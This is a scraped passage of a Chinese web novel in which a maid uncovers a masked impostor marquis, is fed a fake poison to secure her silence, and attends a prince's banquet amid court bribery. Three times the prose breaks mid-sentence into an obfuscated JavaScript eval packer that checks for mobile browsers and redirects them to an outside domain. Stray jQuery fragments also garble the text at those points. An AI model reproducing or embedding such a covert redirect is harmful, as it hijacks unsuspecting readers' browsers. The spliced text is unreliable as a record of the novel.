她心跳如鼓,太害怕了,脑子也来不及思考那是什么东西,就被人脸给吓坏了。 正惊魂未定,冷不防的,一股淡淡的酒气笼罩了过来。 “你看见了。” 绵苑惶然回头,整个人微微颤抖,她看见了一个人。 乌发披垂,身着小侯爷的寝衣,面如冠玉,如画般昳丽,一个陌生而俊美的男子。 但凡见过他就很难没有印象,而绵苑确定,自己不曾见过…… 他的眼神太过深邃,如同圈住了深渊里的黑雾,令人胆寒。 绵苑忽然就知道了,他是小侯爷…… 她一阵腿软,几乎站立不住。 顾寒阙缓缓俯身,酒气飘散,尚未开口,一只颤抖的小手突然捂上他的双眸。 绵苑快吓哭了,嗓音细细弱弱的:“小侯爷醉得厉害……快点回去休息吧,明日便什么都不记得了……” 4. 破绽百出 绵苑来不及深思这是怎么一回事,她只是直觉自己撞破了见不得人的秘密,大难临头。 她无法遏制自己双臂乃至肩膀的颤抖,因为太过害怕,整个人都是恍惚的。 小侯爷喝了不少酒,沐浴过后还掩盖不住身上淡淡酒气,他能不能意识不清,当这一切都没发生过? 绵苑什么都不想知道,但现实由不得她。 顾寒阙拉下她的手,细白的腕子握在掌心,稍稍用力就能掐断了。 “我、我口风紧……我可以成为小侯爷的人……”绵苑嘴巴笨,紧急关头也说不出什么有价值的话来,急得泪眼汪汪。 “你能做什么?”顾寒阙轻捏眉心,他确实喝多了,才出现如此纰漏。 “只要不伤害老太君,我什么都能做……整个侯府都是小侯爷的……” 绵苑目前知之甚少,以为这人是为了继承侯府才假扮。 四年前老侯爷战死,当时运送回不少棺椁,其中包括世子身边的随从颂雨,说是为了护主战亡。 如今想来,恐怕小侯爷在那时就死了,谁都没活下来…… 然后眼前这人取而代之,身边小厮也换成姜涿,神不知鬼不觉…… 绵苑先是害怕,继而有点难过,侯府没人了,老太君倘若知道真相,不知会如何。 她独自守在京城那么多年,等候亲人归来,最终回来一个鸠占鹊巢的家伙。 这些日子的欣喜、殷切的关心以及对未来的期许,所有充满希望的东西,皆是镜花水月。 绵苑的泪珠啪嗒啪嗒掉下来,道:“我不会告密的……老太君年事已高,即便是用谎言送走她,也好过残酷的真相。” 命运给了她太多打击,最后还夺走全部企盼,怕是很难支撑下去。 至于侯府,本就没人继承,任何财物生不带来死不带去。 顾寒阙望着她红通通的眼眶,不动声色。 俊逸的脸庞未曾显露醉意,可见即便喝了不少,他依然保持清醒。 “随我来。” 他顶着这样一张脸,施施然走出了净室。 这般大胆行径,让绵苑惊骇,忽然想到那天蔓语和丽奴的小矛盾,姜涿说麒麟轩的事他都知晓。 莫不是……暗处还安排了眼线盯梢戒备? 绵苑心中惊疑不定,收了泪水,缩着脖子跟上他的步伐。 才刚出去就迎面撞见了姜涿,姜涿看到他们一前一后,惊讶万分:“小侯爷?” 竟然被婢女瞧见了真面目! 那一瞬,姜涿落在绵苑身上的眼神,就跟看死人没两样了。 顾寒阙径自掠过:“把我的面具捡回来。” “是。”姜涿让开路,目送绵苑进了主子的寝屋。 他转身进入净室,将地上的人皮面具收起来,然后到寝屋外等候吩咐,指不定待会儿要收尸? 绵苑第一次踏进顾寒阙的卧房,平日里此处不让婢女进去打扫,都是姜涿在做,还有个丽奴忙里忙外,守在附近。 这两人都是小侯爷从外头带回来的,毫无疑问,他们知道一切。 而绵苑满怀忐忑,尚且不知自己会被如何发落。 顾寒阙在博古架上拿起一个精巧小木盒,侧目朝她示意:“过来。” 绵苑没有二话,走上前去,接着就被一把钳住了下颚。 “唔……”她吓了一跳,本就红彤彤的眼皮越发瞪圆溜了。 顾寒阙体格高大,手掌也很宽,单手便捏住了她左右脸颊,微微一施力小嘴嘟起,然后塞了一枚药丸进去。 “吃掉它。” 绵苑自是没胆子吐出来,只能乖乖吞咽,苦涩的药味顺着咽喉下去了。 “这是什么……”她拍拍胸口。 “毒药。” 顾寒阙松了手,忽略掉指尖柔腻的触感,冷声道:“想要活命,就乖乖听话,否则,它会让你肠穿肚烂。” 绵苑闻言,下意识抱住自己平坦的小肚子,小脸都皱巴了起来。 不过她心底,却是稍稍松口气,至少暂时是活下来了。 若要杀她,都不必浪费一颗毒丸。 只是这药看起来剧毒,亦或是他有洁癖,顾寒阙坐到矮榻上,朝她伸出手:“擦干净。” 绵苑见状,从一旁的紫檀盆架抽出白色方巾,在铜盆里浸湿拧干了,然后蹲到他跟前,迟疑着捧起他的手掌。 一个动作就透露出她心中的恐惧,小姑娘的眼睫毛都在颤动。 绵苑不曾伺候过男子,不过也给老太君擦过手,只是大不一样。 顾寒阙的手很大,指节修长有力,见过他练剑,甭管他是不是真的小侯爷,会武这一点是不作假的。 绵苑什么都不问,像个小哑巴。 顾寒阙先开了口:“老太君厚待你,你却伙同外人欺骗她?” “小侯爷不是老太君的孙子么?”绵苑抬起头来,抿着唇瓣道:“侯府的一切你尽可拿去,只要别伤害老太君。” 正因为老太君待她好,她又是身边伺候的,最清楚老人家心中在乎什么。 她已经没有什么可失去的了,到了这个岁数,更是把身外之物看淡了。 若是孙子都没了,纵使给老太君金山银山,她又有何稀罕。 尤其是小侯爷回来后,对孙媳曾孙的渴望,几乎占了老太君的全部,她盼着侯府热闹兴旺,希望一家团聚。 绵苑自己没有亲人,能够体会这份心情,她的爹娘临死前都在护住她,所求无非是‘活着’二字。 在生死面前,一切都无足轻重了。 顾寒阙许是被说动了,又或者没有,绵苑看不透他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478951|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他扬声让门外的姜涿把丽奴叫来。 不一会儿丽奴就到了,她垂着脑袋往地上一跪:“公子。” 顾寒阙面无表情看着,未置一词。 跟随进来的姜涿心下一惊,他们平日对主子无需行此大礼,除非……丽奴闯祸了。 “你看见面具了?!”姜涿问道。 前因后果不难推敲,绵苑反应过来后,跟着扭头看向丽奴,难以置信。 是了,丽奴负责提水的,极大概率发现了顾寒阙的面具遗漏在净室,却没有收走。 明知主子醉酒,还成心把秘密捅出去,是为了……让顾寒阙弄死她么? 丽奴有错就认,跪着把脑袋往地上重重一磕:“丽奴觉得这三人会坏事,自作主张,请公子责罚。” 姜涿眉头紧皱,道:“丽奴你太糊涂了,也僭越了。” 公子运筹帷幄从未出错,如他所言,麒麟轩不可能都是自己人,而且公子对老太君颇为敬重,也不愿意过于冷硬拒绝伤了老人家的心。 哪怕姜涿对蔓语很有意见,但总得来说,不过是一个心思灵活的婢女,于他们的大计不会有碍。 而绵苑就更罪不至死了,她最可恶的就是打砚,姜涿厌恶这个行为,却又理解它的存在。 丽奴恐怕比他更恨这一点,因为顾将军对她有恩,只是她忘了,不知者无罪。 鲜血从丽奴的额头上渗出,她一动不动,那张烫伤的面孔神情木木,好像不会痛。 顾寒阙最终没有处置她,只道:“这是你最后的机会,再有下次,我会把你送走。” “丽奴不敢了。”她跪趴在地上,又抬起头直直看向绵苑:“公子既然留下她,丽奴愿帮忙盯着。” 绵苑连连摇头,甚至往后躲了一步。 她是发现了,丽奴跟她接触过的丫鬟都不一样,多半是手中沾过鲜血的,她真怕自己死得不明不白! “我吃了毒药,剧毒……” 这话说出来,仿佛毒丸成了保命丹。 “从今日起,她是本侯的贴身侍婢。” 顾寒阙一句话,决定了绵苑的命运。 当晚便吩咐姜涿,去把绵苑的房间从西厢房挪出来,到寝室旁的偏房安置,就近方便使唤。 姜涿没有二话,领命而去。 毕竟是小侯爷,身边需要婢女才方便,而丽奴脸上带伤不宜在外人面前露出,光靠姜涿自己就有点分身乏术了。 他是主子信任之人,明面上的事私底下的事全给包圆了,而因为易容的原因,更衣梳头也不能假手于人。 如今有个绵苑帮忙,自然再好不过。 顾寒阙没让绵苑回屋收拾东西,倒不是怕她胆大包天泄露秘密,而是眼下这副模样—— 惊吓后的眼皮泛红,软糯小脸一阵恍惚,属实破绽百出。 5. 不急 绵苑无法不恍惚,她只是老实本分的丫鬟,没有远大志向,不求大富大贵,惟愿生活安定,衣食无忧。 要是还在慎柏堂,哪会遭遇今日种种,撞破了不该她知晓的秘密。 还吞服了毒丸,被绑死在小侯爷身边了。 厨娘们曾说,一个丫鬟要是勾搭上主子,是福是祸不好说,端看个人造化。 绵苑深以为然,这会儿她是真勾搭上了,另一个层面的,要命的那种。 殊不知何时,她就要死翘翘了。 当晚,绵苑在寝屋的偏房睡下了,姜涿只把她的铺盖带了过来,姑娘家的私人物品他不好妄动,等她有空了自己回去收拾。 绵苑合衣睡下,以为会辗转反侧,谁知缩在被窝里头,没多久便入梦了。 只是这梦也不是好梦,一时被个高大男子笼罩住,回头也瞧不清他面容,只知道那黑黢黢的眼神极其冰凉危险。 一时又被喂了毒药,她吓得都叫不出来,肠穿肚烂! 绵苑醒来时,闷出一身汗,心跳扑通扑通,都快从胸口蹦出来了。 再一看窗外,天光微亮。 当即不敢再睡了,迅速爬起来更衣梳洗。 第一天做贴身婢女,还是这般要命的主子,须得打起精神来才行。 早起是对的,顾寒阙有晨起练武的习惯,绵苑过去时,他已经坐在镜子前了。 那张脸,已经变成了对外示人的小侯爷面容。 真正的小侯爷在边关长大,确切长成何种模样她不知道,不过这人要骗过三军将士,想必易容术十分了得。 顾寒阙的五官更为俊美,眉目如画,昨天绵苑过于恐慌没有细看,只留下昳丽的印象。 而方昭年的脸,偏向俊朗,剑眉星目,风格截然不同。 换脸秘法骇人听闻,当然不会轻易被旁人瞧见是怎么做到的。 绵苑也没胆子探究那人皮面具是怎么回事。 姜涿让她上前来,捧着个首饰盒道:“小侯爷的发冠发簪全都在这,待会儿你要熟记,不同服饰不同场合莫要搭配错了。” “我记下了。”绵苑只管小鸡啄米一样点头。 男子的簪子哪有女眷的首饰复杂,这些都不难。 无非是些木簪玉簪、金银玉冠,其中有一顶陛下赏赐的金冠,非同凡响,入宫时会用上它。 绵苑拿起白玉梳,给顾寒阙梳头,细软的指头划过乌黑长发,高高束起,不一会儿就弄好了,整整齐齐,一丝不苟。 梳好了头发,要替他更衣。 顾寒阙站起身,高她一个头不止,绵苑拿起架子上的衣裳便犯了难,好在他自己伸手接过,利落穿上。 姜涿送上宝剑,顾寒阙道:“给她讲讲规矩。” 姜涿点头,带着绵苑先去吃饭。 他道:“主子晨练的时候不需要伺候,丽奴会将你的饭食提过来,你吃完再去待命就是。” 贴身婢女要做的无非是铺床叠被,更衣梳头,大抵就这些了。 闲着就一边待着去,只要不惹事,安全无须担心。 绵苑却有些不放心:“以后都是丽奴给我提饭食么?” “她不会对你怎么样。”姜涿两手抱臂道:“你乖乖听话,谁也动不了你,还有,在其他人面前要谨言慎行,可别说漏嘴了。” “我不会说漏嘴的。”那岂不是牵扯旁人下水。 果真是丽奴提着食盒来了,热气腾腾,种类还不少。 绵苑也不跟她说话,食不知味,吃个半饱就跑了。 ******* 晌午时候老太君到麒麟轩用膳,绵苑给她准备了珠兰花茶,都不怎么抬头看她老人家。 知道了真相,还有些难过,真正的小侯爷尸体都没送回来,也不知葬到哪去了。 老太君一无所知,见她逐渐在麒麟轩适应下来便放心了。 当务之急,还是顾寒阙的婚事最让她操心。 妻子过门,才好抬妾室,共同延绵子嗣,为侯府开枝散叶。 老太君此次直接带着画卷来的,是她心中属意已久的几位贵女,名门世家,知书达理,乃是主母最佳人选。 顾寒阙对她的来意心知肚明,陪坐在一旁。 “容玖,我们方家几代单传,你父亲去得早,如今更是人丁凋零……” 老太君也不多提伤心事,道:“你已经二十了,之前在军营顾不上,现在怎么也得速速成家。” 容玖是顾寒阙的表字,方昭年在十六岁那年就跟长宣侯一同战死,未行加冠礼,也没能得到长辈赐字。 他用了不少谎言,唯有这个表字是真实的。 此前老太君没怎么催,顾寒阙刚回来,论功行赏,应酬也多,侯府上下一团忙乱。 喜事临门她高兴极了,自然是帮着打点,这会儿才歇下来准备相看。 虽说二十有些大了,可实打实的功勋在身,又生得仪表堂堂,还是许多人家愿意许以好女。 “容玖属意什么样的姑娘?祖母都能替你说来。”老太君笑呵呵问道。 顾寒阙道:“我入宫时,宜真公主曾几次露面。” “宜真公主?”老太君先是意外,听他此时提起,“莫非……” 他们不好妄议公主,但是私底下说两句无碍。 老太君顿时坐直了,孙儿如此优秀,能得金枝玉叶的青睐,自然是无比荣耀,只是…… 她还没笑出来,就想到了子嗣问题。 “我们方家人少,祖母还盼着你多纳妾多生子呢……” 若是捧了公主这尊大佛回来,允许妾室庶子的存在么? 况且她隐隐对这位公主有所耳闻,极为受宠,似乎脾气不小…… 顾寒阙直言道:“我也不想娶。” 他有自己的计划要进行,而这些事,不需要借助公主,反而碍事。 不仅如此,他的伪装也不方便有枕边人,无法安枕。 老太君得知他的意思,道:“皇家来头大,咱们得快些定下来才行,毕竟不好拂了公主的颜面。” 真到了那一步可就不好拒绝了。 “祖母,此事不急,”顾寒阙抬手替她倒茶,“陛下将兵权交予我,储君未立,倘若贸然结亲恐有站队之嫌。” 大皇子乃前皇后所生,既嫡且长,而三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478952|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子是现皇后所生,也是嫡出。 这两人,一个更加名正言顺,另一个则有皇后和母族扶持。 朝中提了几回册立太子一事,局势早已暗流汹涌。 “这……”老太君眉头蹙起:“昨日三皇子来寻你饮酒,你不深交便是,娶妻还有妨碍么?” 顾寒阙淡淡道:“祖母所提这几位小姐,家中皆有父兄在朝为官,哪容得明哲保身。” 老太君听完头痛:“难道你还不能娶妻了?” “并非如此,只是可以暂且缓一缓。” 他说缓一缓,老太君不由叹气,道:“旁人你这个岁数,孩子都会跑了,咱们方家满门忠烈,都搭进去多少了,还要耽误你娶妻生子……” 满门忠烈,又换来什么呢?顾寒阙眼底闪过一丝冷嘲。 他微敛下眼皮:“祖母,鄢国战事停歇,兵权尚在我手中,倘若还与世家结亲,站队某一个皇子,恐有结党营私之嫌。” 他没有把话说死,实际上以那老皇帝卸磨杀驴好大喜功的性子,高兴的劲头过去后就该琢磨其他了。 眼下西蛮身为战败国,要给鄢国赔偿,但因为它那边也穷得叮当响,暂时还没送到手里。 皇帝需要一个常胜将军镇着。 “我一个老婆子要考虑这么多……”老太君越发难受了。 “祖母不是给了绵苑么,”顾寒阙出言安抚道:“我这个岁数,即便庶子先出来,未来岳家也能理解。” 老太君一听,当即双眼一亮,只要有孩子,都是她心头宝! “你果真喜欢绵绵?我就说她好,性情娇憨,识文断字,她的字非常不错,可是我亲手教的。” “不过若要让她生孩子,需得给个名分才行。” 本打算正妻进门后再安排,但要是先有妾室,也不是不行。 总归孩子不能是婢生子,容易招惹口舌,妾生子才有名头。 “不急,等她怀上再说。”顾寒阙低头饮茶。 如果她自己一个人就能怀上的话。 绵苑丝毫不知自己被当做挡箭牌利用个彻底。 老太君和小侯爷要说话,她奉上茶水就退出来了。 然后在庭院里,被蔓语给堵在假山后。 昨晚姜涿去给绵苑收铺盖,让蔓语和半莲惊讶万分,一会儿不见人就飞上枝头了?! 今天蔓语一直没找到机会跟她私下说话,这会儿才得了空闲。 “绵绵真是好手段!” 她酸溜溜的,两个眼睛细细打量,胸团饱满细腰纤纤,妄图看出什么蛛丝马迹。 绵苑肤如雪玉,即便昨晚做了一宿噩梦,这会儿也不明显,气色很好。 她知道蔓语在想什么,解释道:“你误会了,是姜涿不擅长梳头,而我恰好专于此道。” “就为了给小侯爷梳头,你搬到偏房去了?”距离寝屋拐个弯就到! 绵苑点头:“我的活变多了。” 蔓语小声问道:“小侯爷没有对你做些什么?” “……没有。” 绵苑把小嘴抿成个蚌壳,只能在心里呜咽:他做了,他给她喂毒药! 6. 船宴 蔓语心里有点怀疑,忽而落落大方道:“即便你伺候了小侯爷,也不必藏着掖着,咱们姐妹不是迟早有这一日?” 半莲说小侯爷对女人没兴趣,她心里凉了半截,如果在绵苑身上破了戒,那也不算坏事了。 就怕是一个活色生香的大美人放屋里,小侯爷都无动于衷! 绵苑不擅长说谎,深知多说多错,慢吞吞道:“随便你怎么想。” 反正已经解释过了,信不信由她去。 蔓语知道她不喜争辩,见她要走,赶忙把人拉住:“绵绵,你等等,你如今是近水楼台先得月,可别忘了我呀。” 绵苑看她一眼,有求于人知道好好说话了,可惜她帮不上忙。 而且……“你真心想伺候小侯爷?……你不害怕么?” 她尚未撞破秘密的时候,就觉得这个新主子很危险了,蔓语竟能顶住那张冷脸。 可以说是勇气可嘉了。 蔓语并非不怕,不过:“将帅之才,威势凛然也正常,日后熟悉便好了,有什么好怕的。” 再说了,以小侯爷那副俊颜,当然是期待胜过害怕。 “……”吃了毒丸的绵苑摸摸小肚子,是与她说不到一块去了。 老太君离开麒麟轩的时候喜忧参半,没能给孙儿安排相看,还不知要多久,才能将孙媳妇给迎进门来。 好在她心宽,并不一味的纠结娶妻生子这件事。 容玖能从战场上平安归来,就是祖宗保佑了,至于其他的,莫要过于强求。 况且这个年纪,先有个庶子也合情合理,既然容玖在朝堂上有顾虑,那便依他的意愿。 不过按照老太君的想法,既然决定收了绵绵,怎么不直接给个名分呢? 她想了想,让若桃准备了几份补品,给绵苑送去。 若桃羡慕得不行,绵苑才去麒麟轩几天,就拥有了诞下长子的资格! 对一个丫鬟来说,这是何等殊荣,俗话说母凭子贵,来日她不仅脱离了奴籍,在侯府有了一席之地,甚至还能得到更多! 入夜后,若桃提着补品去麒麟轩,绵苑正好在屋里休息,对她的来意一无所知。 “有劳若桃了,老太君为何突然给我补品?”她也没生病? “你这是独有的一份,半莲和蔓语都没有。”若桃看着她道:“绵绵天生丽质,当真让人艳羡。” 绵苑不知道顾寒阙对老太君说了那些话,只能稀里糊涂的收下来。 她道:“后日我去慎柏堂谢过她老人家。” “后日?”若桃掩唇询问:“你明日做什么去?” “明日要随小侯爷出府一趟。”绵苑颇有几分愁眉苦脸。 晚间才听姜涿说的,她心里有点不安,顾寒阙外出向来只带小厮,他为什么突然要带上她呢? 可惜这份愁苦注定无人理解,若桃和蔓语一样,都在叹她好造化。 “机会难得,绵绵得好好把握住才行。” 若桃虽说有些眼红,但这几天差不多想明白了,人各有命,这会儿反过来劝绵苑积极主动一些。 她们四人当中,数绵苑脾气最好,心性也好,有口好吃的便心满意足。 生而为人,总会生出许多世俗的欲望,喜欢漂亮衣裙、想要更多首饰……但绵苑似乎不怎么在意,连带着烦恼都少了许多。 这次出现了一个摆脱奴籍成为主子的机会,怎么可能不心动,偏就她能。 若桃以前不是没有不满过,老太君偏爱其中一人,其他人心中难免不是滋味。 仔细想想,是因为绵苑很好,讨人喜欢。 养得白白糯糯,即便嫉妒心作祟都没好意思冲她发作了。 绵苑此刻所想与若桃截然不同,她的命捏在别人手里,她是在保命。 “我必须有点用处才行。” 总不能只会梳头吧? ******* 第二天巳时,绵苑出现在寝屋,给顾寒阙梳头更衣,他们要在午时之前赴约。 三皇子来饮酒那日亲自送的请帖,约于曲水湖畔,参加他的赏珠螃蟹宴。 他最近得了一斛珍珠,个大浑圆,色泽白润,乃珠中极品,加上秋日又是吃蟹的好时候,便有了这么个宴会。 因是赴宴,顾寒阙的衣裳很是华贵,头戴金蛇缠珠冠,腰束兽首蓝玉带,衣襟袖摆都绣着金丝的。 本就神姿英发,装扮后更是气势天成了。 顾寒阙低头打量一眼,扯下腰带道:“换一条。” 绵苑抬眸看他,接过蓝玉带想了想,没见小侯爷穿这么招摇过,许是想要更加醒目一点的? 她拿起一条琉璃金鳞带,小声问道:“这个可好?” 这条腰带很是璀璨夺目,金箔打造的鳞片,上面还镶嵌了一层薄薄琉璃片,做工十分精细,璀璨夺目,贵气逼人。 顾寒阙扫了一眼,颔首同意。 绵苑拿着腰带上前,绕着他走了一圈也没能顺利系上,除非……她把手环过他腰腹。 更衣梳头时她一直在避免肢体接触,两手环住顾寒阙太亲昵了些,她不敢。 “你怕我?” 顾寒阙拂开她的手,自行把腰带系上了,淡淡道:“做好分内之事,没人会对你怎么样。” “……好。”绵苑点头。 顾寒阙垂眸看她,小鹌鹑似的埋着脑袋,话少,什么都说好,多半是被那毒药给吓破了胆。 怎么这样胆小? 绵苑跟随顾寒阙出府,乘坐同一辆马车,驶向曲水湖。 碧波荡漾的湖面,早已停靠了一艘二层画舫,檐角悬铜铃,红纱妙曼,丝竹声不绝于耳。 顾寒阙只带着绵苑和姜涿两人,一经露面就被管事的热情迎接入内,请上座。 船舱内一些较早到来的人,纷纷围上前来见礼,有叫小侯爷的,也有尊一声常胜将军的。 他们锦衣华服,戴金佩玉,香气浮动,还有几个入秋了也折扇不离身,故作风雅做派。 只一下,绵苑就知道顾寒阙为何如此装扮了,为了融入这群人。 看上去不是什么正经聚会。 顾寒阙的座位仅次于三皇子的主位下首,皆是方形矮桌,他的后方,还放了两个软垫,给姜涿和绵苑坐的。 三皇子对顾寒阙的赏脸非常高兴,当即一击掌,命人传菜上酒水,舞娘也扭动着出来了,宴席正式开始。 说是螃蟹宴,吃的自然不止是蟹,还有鱼虾蚌等鲜美之物。 但这群人可不是为了来吃东西的,意在美酒、美人、还有三皇子的珍珠。 在把珍珠拿出来给众人过目之前,美人先出来了。 她们不是舞姬,却穿得比舞姬还艳丽,浓妆艳抹,纱绢藏香,专门给各位贵客斟酒的。 三皇子一扭头,就瞧见了顾寒阙身后的绵苑,忍不住笑着揶揄道:“小侯爷出门,怎么还自带美人?这般楚楚动人,把她们都比成庸脂俗粉了。” 顾寒阙浅笑不语,三皇子知道他不是话多之人,也没追问,就不给这桌安排陪酒了。 姜涿示意绵苑去给主子斟酒,绵苑这时才回过味来,为什么带上她,因为小侯爷不喜人近身。 他的伪装堪称天衣无缝,不至于凑近多看两眼就露出端倪,或许是因为洁癖?或者…… “小侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478953|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷没有把婢女送人的喜好吧?” 绵苑忍不住小声问姜涿,揪起的小眉头十足担心。 顾寒阙听见了,回过头来,面无表情道:“我想是没有。” 姜涿微微失语,她到底把主子想成什么人了? 虽说一开始就给喂了毒药,但那是不得已而为之,他们的大计牵扯甚多,绝不能毁在任意一个人手中。 绵苑稍稍放下心来,把软垫挪过去,到顾寒阙身边挨着。 坐在前头能看得更清楚,舞娘们训练有素,扭着腰肢,裙摆飞扬,配合着屏风后的乐师舞动。 这般纵情声色的场面,绵苑自然是没见过的,一时有些稀奇。 然后她的脸突然被一只手掰了过来。 顾寒阙距离她极近,低沉的嗓音就响在耳畔,道:“你表现得太格格不入了。” “啊?”绵苑不由愣住。 再抬眸打量其他人,才发现情况不对。 几杯黄汤下肚,这群人已经抛掉了彬彬有礼的伪装,搂着陪酒调笑,虽说不至于放浪形骸,但坐姿已经歪斜。 这便显得他们这桌有些突兀,小侯爷脊背挺直,而他身边的婢女睁着大眼睛欣赏舞蹈。 仿佛是来看热闹的。 绵苑一脸无辜,和他大眼瞪小眼。 主子也不事先提点,她哪里知道要做什么,以老太君的身份和辈分,从未出现在这种场合,她也就只会倒酒了。 顾寒阙对此倒是不意外,她心思浅显,本就对她没有其他指望。 “别盯着他们看,看我。” “哦……”还不让看表演了。 绵苑不敢有异议,微微侧过身来,只对着顾寒阙一人看。 蔓语有句话说得对,相处多了就没那么害怕,她现在都敢细瞧他的脸了,甚至在心里琢磨,那人皮面具从何而来,如何佩戴? 绵苑之前吓破了胆,一心顾着保命,哪里敢琢磨顾寒阙的身份。 这会儿回过味来,他真是相当厉害,也浑身是谜。 给她吃的毒不知是何物,这几天她跟没事人一样,并无任何不适,原本提心吊胆,渐渐往下放了放。 顾寒阙不想让她干看着,取过一个空杯放到她面前:“喝。” 本想让她喝茶,谁知绵苑以为她要跟其他人一样,做出陪酒的架势,给自己满上一杯酒水。 老太君闲时爱饮酒,她们几个婢女偶尔会陪着,酒量尚可。 只是今天不知怎么回事,一杯下肚,略感心浮气躁。 绵苑一手捂住胸口,心跳加速,有点上头。 她察觉不对,再烈的酒也没有下肚就晕的,忍不住偷偷抓住了顾寒阙的衣袖,磕巴道:“小侯爷,毒药发作了……” 顾寒阙抬眼凝视她,小姑娘面色泛红,艳如桃李,眸色惊慌。 他给她吃的根本不是毒,倘若她有告发举动,他会直接解决掉她,绝不手软。 至于现在…… “是熏香的缘故。” 纨绔子弟助兴用的,药性浅淡,只是她反应比较大,其中估计有自己吓自己的原因,给紧张出来了。 绵苑生怕下一瞬就肠穿肚烂了,眼巴巴望着他:“小侯爷救我……” “……” 顾寒阙无法,抬手圈过她细韧的腰身,借着亲昵动作遮掩,往她嘴里塞了一枚清心丸。 绵苑只当自己吃了解药,埋首在他怀中,可算安心了。 然后越过顾寒阙的肩膀,瞥见了姜涿那‘成事不足败事有余’的眼神。 绵苑:? 姜涿一脸深沉,再次觉得,老太君送来的三个婢女,不堪大用! 7. 她快哭了 鄢国皇室奢靡成性,即便皇子们白日饮酒作乐,御史台也不好参奏他们。 因为陛下也很喜欢设宴,宫中的铃兰阁可谓是夜夜笙歌,纵情声色。 酒意正酣,三皇子把他新得一斛珍珠亮了出来,果然是又大又圆,品相难得。 在座皆是不缺银钱的主,但有些珍品,即便真金白银都难买到。 众人见状纷纷夸赞,艳羡不已。 而三皇子如此志得意满,不仅是有人给他献上珍珠,更因为他的父皇有意交予一份重要差事给他。 那便是监管军器营。 但此事还需顾寒阙点头才行,他身为三军将帅,军器营与将士们息息相关。 老皇帝没有把它交给同一个人监管,以防将军权柄过大,却不代表顾寒阙不能过问。 此次西蛮战败后给的赔偿事宜,商议许久,实在拿不出更多银两,其中一部分以精铁代偿。 西蛮产矿,武器精良,这才支撑他们与鄢国经年累月的对战。 当然,武器只是其中一个原因,没能尽快结束战争更大的问题还出在鄢国内部。 无论如何,如今战事停歇,对方既然要赔精铁,鄢国不会拒绝。 三皇子这么想拿下监管权,自然是因为有油水可捞。 酒过三巡,他便借故把顾寒阙请到楼上说话。 姜涿和绵苑也上去了,不过主子要摒退左右相谈,他们就在小间里等候。 管事的准备了一壶好茶,糕饼馃子一应俱全,画舫的二楼临窗眺望,景致更佳。 等管事的离开后,姜涿趁机提点道:“你身为小侯爷的贴身婢女,应该机灵一点。” 绵苑想了想,回道:“方才我的毒发作了,纯属意外。” “你……”姜涿又不能揭主子的老底说她没中毒,只得重复:“反正要有眼色,机灵一点!” “好的。”绵苑乖乖点头。 不一会儿,顾寒阙便出来了,随手把一个锦盒递给姜涿拿着,他们打道回府。 绵苑眼里有活,扭头问姜涿:“需要我帮忙拿么?” 论资排辈她最末,有什么吩咐尽管让她来就是。 “不需要。”姜涿拒绝了她。 盒子里装的是方才三皇子展示过的珍珠,此乃贿赂小侯爷之物,怎么能给她拿着。 万一有什么差池,他难辞其咎! 绵苑一概不知,既然问了不需要,那就不拿吧。 回府后,顾寒阙径自去了书房。 书房目前对绵苑而言,还是禁地,不允许靠近半步。 姜涿把盒子里的珍珠倒出来,口中啧啧有声:“这么大的珍珠有价无市,就轻易送给小侯爷了。” 俗话说珠光宝气,天然珍珠的光彩当真十分夺目。 顾寒阙可没有站队,更不可能表示去支持三皇子立储,他只不过稍微透露出自己爱财的一面,且在军器营的监管权一事与他达成共识,好处便源源奉上。 除了这盒珍珠,还有上次送来的金器玉器等物件,样样价值不菲。 “把它处理掉。” 顾寒阙写了一封手令,连带珍珠一同秘密送去万钰楼。 无人知晓,京城最大的万钰楼与他有干系,并且暗地里还能‘销赃’。 朝堂上下,贪墨者众多,促使了万钰楼的存在,即便没有它,也会有其他楼。 而顾寒阙背后有一群人,当年没能死绝的顾家军,他们饱含血泪潜伏已久。 顾寒阙需要很多银子,也需要一个不太清正的人设。 倘若一味的明哲保身两不沾,握着兵权做那刚正不阿的忠臣,那才是格格不入,还可能因为碍路而树敌。 西蛮要赔精铁,三皇子要监管权,而军器营一惯的作风,顾寒阙比谁都清楚。 早在十几年前就有精铁被替换的先例了,如今只怕是更加严重。 以粗铁毛铁代替精铁,或是回收的重炼铁,把那铁锈一块重熔了。 重炼铁常有砂眼,淬火时易开裂,那也不妨事,在外层包裹上薄薄精铁,便可偷天换日。 精铁昂贵,牟利巨大。 长宣侯府子孙三代是怎么死的,与此有着千丝万缕的关系。 兵器易断裂易生锈,军饷从上吃到下层层克扣,没有被西蛮一举攻破,只能说鄢国人多,气数未尽。 